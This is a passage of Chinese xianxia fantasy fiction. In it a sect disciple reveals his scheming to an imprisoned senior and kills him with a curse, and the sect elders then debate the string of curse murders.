因为他是琏州赵家的,琏州赵家为修行小宗,他在入门前便有些基础,自然人也傲气了些。
卓明是自己来依附他的,他和秦修都是普通民家被选作有仙缘的孩子。
但入了栖星宫后便显得有些平平无奇了,不得不找得个靠山相依。
当时,赵惊堂虽骄傲于自己的基础,但是修为却总是比不上沈烬。
卓明便总道:
——“师兄,都是那个沈烬!在我看来,他修为精进得如此之快定是做了什么旁门左道的把戏!您才理应是第一!”
……
七杀牢里,卓明还在悠悠道:“您就没有想过,栖星西北,荒芜禁地,至我们这代弟子甚至连境幽是什么都不知道了,我却怎么会知道境幽?”
……
数日前一个夜晚的七杀卧舍,卓明翻阅着一本书自语似的说:
——“栖星宫之西北,有界境幽,荒林结界,有去无归……”
——“这要是有人误掉到里面不得连骨头都不剩啊……”
被赵惊堂无意听去。
……
卓明:“你还没有想过,为何你总能与沈烬凌酒酒不期而遇?明明他都已经不在七杀宫了,可是你还是能和他碰见,真是你说的冤家路窄夹道相逢?”
“我们平时在南斗峰待得好好的,那天怎么突然就要去北斗峰角练剑?你就真的从未想过这些……”
赵惊堂越想越觉得诡异,整个人匍匐在地上已经像只爆起的兽骚动起来,满身的疼痛却让他压根起不来只能不断拍打着地面眦目道:“是你!是你?都是你——”
卓明终于像满意似的勾了勾唇角站起了身,向后退了两步看着他道:“师兄,你的生辰,是四月廿六,对吧?”
赵惊堂猛然一怔,“你要干什么!”
卓明只道:“你还记得,破军宫的莫飞澜师兄是怎
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么死的了么?”
这一句,才另赵惊堂彻底惊悚,骇然地瞪大眼睛倏地发出一声尖锐尖叫,“啊——”
他指着他拼命地在喊,连身上崩裂的伤都血流如注地不顾了,歇斯底里恐骇万分,“是你!是你……来人啊!来人!”
“咒杀……咒杀的凶手在这儿!来人啊——”
卓明只是站在几步之外像欣赏一直濒死的困兽一样静静地笑。
然后某一瞬,赵惊堂的尖叫突然卡在嗓子眼中!
整个人就极度惊骇着神情瞪着眼睛,头渐渐地垂下去……死了。
秦修和牢狱门口本来守卫的两个弟子早就吓傻了,原是听见声音来一探究竟,见状整个人都屁滚尿流地跌坐在原地,偏偏喉咙里极度惊慌地叫喊却压根叫不出一声。
秦修身上的宫服都被星魂钉伤给染红了,跪在地上一直在磕头。在卓明看过来时连声道:“我不说!我什么都不说!我什么都没看见!我今天一直在卧舍养伤就没出门过!”
“卓明师弟……求求你!我什么都不说!不说……”
那两个弟子也在道:“我们也是!我们什么都没看到,今天没人来过!没人来过!”
卓明垂了垂睫默默只是伸手,而后当真像摸狗似的摸摸秦修的头,秦修一瞬抖如筛子瑟缩。
卓明微笑叹息,“你们放心,我和赵惊堂不一样,不会霸凌苛待人的。”
毕竟他若想霸凌谁,就直接咒死他了。
-
“又是……咒杀?”
复一日,当赵惊堂的死讯传到紫微殿上的时刻,大殿之上又是一番惊诧震骇。
甲级十四星君个个沉重着脸,连凌云木的神色都不禁严重了几分,道:“或许我们先前的方向就猜错了,行此术者除了在栖星宫外,还有一种可能就是栖星宫中人。这样的话……”就更糟了。
先前莫飞澜蓄意陷害沈烬,若说是有什么不可告人的目的才因而被灭口咒杀的,那么赵惊堂之死,就仿佛死得毫无根据。
如赵惊堂一类于修行世家中拜入栖星门下的弟子,栖星宫早在其入门前就会将身世家学渊源查得干干净净。
且此类弟子生辰明确。能在这种刚刚好的节点下术杀人的恐怕也只有门中人。
武曲星君问七杀星君,“人死于你七杀宫的七杀阵,你门中人,就没说有什么异样?”
“我已问过昨日守卫的弟子,他们许是也被吓到了,支支吾吾地话都说不清。”七杀星君也沉着脸,“只道昨日七杀牢狱没有人去过,也没听到过任何声音,例行检查时人就已经死了。我探过他们的脉息,的确是被吓到离魂。”
“这就怪了,”贪狼星君悠悠叹息,“若说莫飞澜之死尚有因由,那赵惊堂的死又是因为什么?从前也不曾听闻赵惊堂和莫飞澜这二人有何关联,若说这两件事唯一的共同点好像就是这二人死前都针对沈烬……”
“沈烬”两字,像是触发了什么敏感词,眼见周围的氛围又有些诡异。
贪狼星君顿了下才后觉自己说错了话,赶紧打开扇子轻咳了声挡了挡脸。而凌云木已经嗔怪地轻睨他一眼肃声说:“好了,我们这平白猜测这凶手也并非能平白就冒出来的,如今只能是令大家在阖宫上下多防范注意。咒杀术接二连三出现,实非什么好征兆。我们自身要做好准备,以备不虞。”
这时,一位星从上前,对众道:“宫主,诸位星君,小宫主与沈烬已至。”
凌云木:“让他们进来吧。”
今日也是凌酒酒与众星君此前约好的考核之日。
不多时,两道身影自殿外渐行渐近,身穿天同宫服,一个清灵纤巧,一个冷峭渺远。